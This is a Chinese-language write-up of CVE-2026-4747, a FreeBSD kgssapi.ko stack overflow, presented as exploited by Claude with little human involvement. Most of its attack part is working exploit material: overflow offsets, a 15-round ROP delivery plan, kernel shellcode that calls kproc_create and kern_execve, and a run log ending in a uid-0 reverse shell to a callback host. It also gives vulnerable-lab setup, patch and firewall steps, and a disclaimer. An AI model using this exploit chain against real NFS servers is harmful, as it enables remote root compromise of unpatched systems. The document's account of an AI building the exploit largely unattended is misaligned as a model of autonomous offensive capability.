____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
kgssapi.ko 中的栈缓冲区溢出 → 约 4 小时获取 Root Shell
"首个由 AI 发现并利用的远程内核 RCE 漏洞。总耗时:约 4 小时实际工作。"
— 由 Nicholas Carlini 使用 Claude (Anthropic) 发现 · 发布于 2026 年 3 月 26 日
CVE-2026-4747 是位于 kgssapi.ko 中的一个栈缓冲区溢出(stack buffer overflow)漏洞,该模块是 FreeBSD 内核中实现 NFS RPCSEC_GSS 认证的模块。
函数 svc_rpc_gss_validate() 将攻击者控制的凭据主体(credential body)复制到栈上的 128 字节缓冲区(rpchdr[])中,且未检查其大小。由于 32 字节已被 RPC 头部字段占用,仅剩 96 字节可用——但 XDR 层允许最长 400 字节的凭据,从而产生 304 字节的溢出。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121(基于栈的缓冲区溢出) |
| 组件 | kgssapi.ko / librpcgss_sec |
| 协议 | NFS / RPCSEC_GSS / Kerberos |
| 所需权限 | 有效的 Kerberos 票据(低权限) |
| 影响 | 远程内核代码执行 → uid 0 |
| CVSS | 9.8 严重 |
| 已修补 | FreeBSD-SA-26:08.rpcsec_gss |
2026 年 3 月 26 日 ── FreeBSD 发布 FreeBSD-SA-26:08.rpcsec_gss
致谢:"Nicholas Carlini using Claude, Anthropic"
2026 年 3 月 29 日 ── 上午 09:45 PDT:请求 Claude 开发漏洞利用程序
下午 05:00 PDT:Claude 交付可用的 root shell
总计:约 7 小时挂钟时间 / Claude 实际工作约 4 小时
人类在大部分过程中处于 AFK(离开键盘)状态。
/* 位于 svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* 栈上的缓冲区 */
/* 32 字节已被 RPC 头部字段消耗 */
/* 仅剩 96 字节可用 */
/* XDR 允许最长 400 字节的凭据 */
/* 400 - 96 = 304 字节溢出 → RIP 劫持 */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG:未检查大小 */
FreeBSD 14.x 不具备:
int32_t[])上的栈金丝雀(Stack canaries)这使得从溢出 → 控制 RIP 变得直接。
攻击者(网络)
│
│ 针对 nfs/target@REALM 的有效 Kerberos 票据
│
▼
NFS 服务器(2049/TCP 端口)
│
│ 携带 credential_len = 400 的 RPCSEC_GSS 请求
│
▼
svc_rpc_gss_validate() ← 内核 ring 0
│
│ 未检查大小的 memcpy
│ [128 字节缓冲区 + 304 字节溢出]
│
▼
栈破坏 → RIP 受控 → ROP 链 → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 反向 shell
Claude 解决了 6 个不同的问题,从安全公告走到了 root shell:
# FreeBSD 14.4-RELEASE 虚拟机,具备:
# - 2+ 个 CPU(FreeBSD 为每个 CPU 生成 8 个 NFS 线程;漏洞利用需要 15 轮)
# - 已加载 kgssapi.ko
# - NFS 在 2049 端口启用
# - 已配置 MIT Kerberos KDC(到达易受攻击代码所必需)
# - QEMU 端口转发:host:2049 → guest:2049,host:8888 → guest:88(KDC)
# 攻击者端关键的 Kerberos 配置:
# /etc/krb5.conf
[libdefaults]
rdns = false # 若无此项:票据为 nfs/localhost@REALM(错误)
dns_canonicalize_hostname = false # 服务器以 KRB5KRB_AP_WRONG_PRINC 拒绝
Shellcode 长度为 432 字节,但每包仅 200 字节可用于 ROP 链。
第 1 轮: ROP → pmap_change_prot(BSS, RWX) ← 使 BSS 可执行
第 2-14 轮:ROP → 将 32 字节 shellcode 写入 BSS(4 次写入 × 8 字节)
第 15 轮:ROP → 写入最后字节 + 跳转到 shellcode
每轮预算:4 次写入 × 40 字节 = 160 字节 + 24 字节退出 = 184 字节 ✓(< 200)
; 每轮以 kthread_exit(0) 结束,而非正常返回
; 服务器不会崩溃 — 只是丢失一个 NFS 线程
; 使用 2 个 CPU:16 个可用线程 → 足以支撑 15 轮
# De Bruijn 序列 → 每个 8 字节子串都是唯一的
# 作为凭据主体发送 → 内核崩溃 → 从崩溃转储中读取 RIP
# 反汇编显示偏移为 168 → 实际:200 字节
# 差异:静态分析未考虑的 32 字节 GSS 头部
pattern = cyclic(400) # 400 字节的 De Bruijn 序列
# 崩溃转储:指令指针 = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Shellcode 运行在纯内核 NFS 线程中 — 没有 vmspace,没有 trapframe。
/* 阶段 1(在被劫持的 NFS 线程的 shellcode 中): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* 干净地杀死 NFS 线程 */
/* 阶段 2(在新进程中): */
/* 1. 清除调试寄存器(硬件 bug - 见第 5 步) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. 执行 /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. 关键:清除 P_KPROC 标志 */
/* 若无此项,fork_exit() 会调用 kthread_exit() 并杀死进程 */
proc->p_flag &= ~P_KPROC;
/* 4. 返回 → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
症状:子进程在有效指令处因 trap 1(调试异常)崩溃。
原因:kproc_create/fork1 复制父进程的 PCB,继承了 DDB 的断点,
这些断点是在漏洞利用开发过程中先前崩溃留下的。
修复:在 kproc_create 之前执行两条指令:
xor eax, eax
mov dr7, rax ← 禁用所有硬件断点
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS 远程内核 RCE
栈溢出 → ROP → shellcode → uid 0 反向 shell
==============================================================
目标: 127.0.0.1:2049
回调: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode:432 字节(54 个 qword)
投递: 15 轮(1 次 pmap + 14 次写入)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS 现在为 RWX
[R2/15] 写入(4 个 qword → 0xffffffff8198a800)✓
[R3/15] 写入(4 个 qword → 0xffffffff8198a820)✓
...
[R15/15] 写入 + 执行 → 跳转 0xffffffff8198a800
[*] Shellcode 已投递并正在执行。
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] 反向 shell → 10.0.2.2:4444
[+] 来自 127.0.0.1:41320 的连接
[+] 已获取 shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# 下载 FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# 创建磁盘并启动具有 2+ 个 CPU 的虚拟机
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ 个 CPU 以获得 16+ 个 NFS 线程
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # 日志用于读取崩溃转储
# 在 FreeBSD 内:配置 NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# 基本 KDC 设置
pkg install heimdal
# 创建主体:nfs/[email protected],[email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. 在 VMware 中安装 FreeBSD 14.4-RELEASE
2. 在网络适配器中:选择 "NAT" 或 "仅主机模式"
3. 在 VMware NAT 中配置端口转发:
- 主机 2049 TCP → 客户机 2049
- 主机 88 TCP/UDP → 客户机 88(KDC)
4. 与 QEMU 相同的 NFS/Kerberos 设置
5. 在攻击者的 /etc/krb5.conf 中:
kdc = 127.0.0.1:88 (指向端口转发)
# 将 FreeBSD 更新到已修补版本
freebsd-update fetch install
# 验证公告已修补
freebsd-version -k # 应显示 SA-26:08 之后的版本
# 1. 如果不需要 RPCSEC_GSS,则卸载 kgssapi
kldunload kgssapi
# 在 /boot/loader.conf 中:
# kgssapi_load="NO"
# 2. 使用防火墙限制 NFS 访问
ipfw add deny tcp from any to any 2049 not via lo0
# 或使用 pf:
# block in quick on em0 proto tcp to port 2049
# 3. 仅允许来自可信 IP 的 Kerberos 认证
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
几十年来,计算机一直使用模糊测试器发现 bug。但发现 bug 和利用 bug 是完全不同的事情。漏洞利用开发需要理解内核、构建 ROP 链、处理内存布局、调试崩溃,并在出错时进行调整。
这历来被认为是人类的专属领域。
CVE-2026-4747 证明这条界线已经移动了。
Claude 在约 4 小时内自主解决了 6 个内核漏洞利用开发问题:实验环境搭建、多数据包投递、线程干净退出、偏移调试、内核到用户态转换,以及一个未记录的硬件断点 bug。使用不同策略开发了两个可用的漏洞利用程序。两者均在首次尝试时成功。
本仓库仅用于网络安全研究、技术文档和教育目的。此处记录的漏洞利用程序是在受控环境中开发的,并在发布前已负责任地向 FreeBSD 维护者报告。请勿在未经明确书面授权的系统上使用。作者对滥用行为不承担任何责任。
原始致谢:Nicholas Carlini + Claude (Anthropic) 安全公告:FreeBSD-SA-26:08.rpcsec_gss
栈溢出 → ROP → shellcode → kproc_create → iretq → uid=0